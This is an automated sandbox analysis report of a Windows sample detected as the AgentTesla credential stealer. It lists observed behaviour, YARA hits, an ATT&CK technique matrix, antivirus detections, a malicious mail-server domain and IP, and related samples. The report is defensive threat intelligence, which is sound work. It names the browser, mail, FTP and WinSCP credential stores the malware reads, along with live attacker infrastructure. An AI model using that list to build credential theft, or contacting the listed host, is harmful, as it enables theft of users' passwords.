Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002FBD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PUwpftrjIH.exe PID: 7780, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PUwpftrjIH.exe PID: 7780, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002FBD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PUwpftrjIH.exe PID: 7780, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	521 Security Software Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	42%	ReversingLabs
SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	38%	Virustotal		Browse
SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	100%	Avira	HEUR/AGEN.1323731
SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	100%	Avira	HEUR/AGEN.1323731
C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	42%	ReversingLabs
C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	38%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mail.hoangtruongphat.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://mail.hoangtruongphat.com	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.hoangtruongphat.com	125.212.217.248	true	true	1%, Virustotal, Browse	unknown
api.ipify.org	104.26.13.205	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4167963900.0000000000435000.00000040.00000400.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4183914195.0000000006916000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000165D000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4182176227.0000000006B94000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://account.dyn.com/	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4167911158.0000000000436000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1725787312.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 00000009.00000002.1763743018.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.hoangtruongphat.com	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FBD000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
125.212.217.248	mail.hoangtruongphat.com	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429018
Start date and time:	2024-04-20 03:22:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 154 Number of non-executed functions: 24
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:23:06	Task Scheduler	Run new task: PUwpftrjIH path: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
03:23:03	API Interceptor	9470592x Sleep call for process: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe modified
03:23:04	API Interceptor	34x Sleep call for process: powershell.exe modified
03:23:07	API Interceptor	7494420x Sleep call for process: PUwpftrjIH.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
125.212.217.248	SecuriteInfo.com.Win32.PWSX-gen.18442.28659.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Heur.9508.19196.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.16521.31249.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exe	Get hash	malicious	AgentTesla	Browse
	SOA.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.18603.7502.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.28316.31463.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.2006.1539.exe	Get hash	malicious	AgentTesla	Browse
	PNSCKHAIRPURSPARES ENQ 0782023.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Win32.PWSX-gen.23268.16982.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
208.95.112.1	SecuriteInfo.com.Win32.SuspectCrc.28876.20318.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	ip-api.com/json/?fields=11827
	xnNcI6OenKJs.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	ip-api.com/json/?fields=11827
	rMayNewPurchase.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rRECEIPTTRANSFE.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	charesworh.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
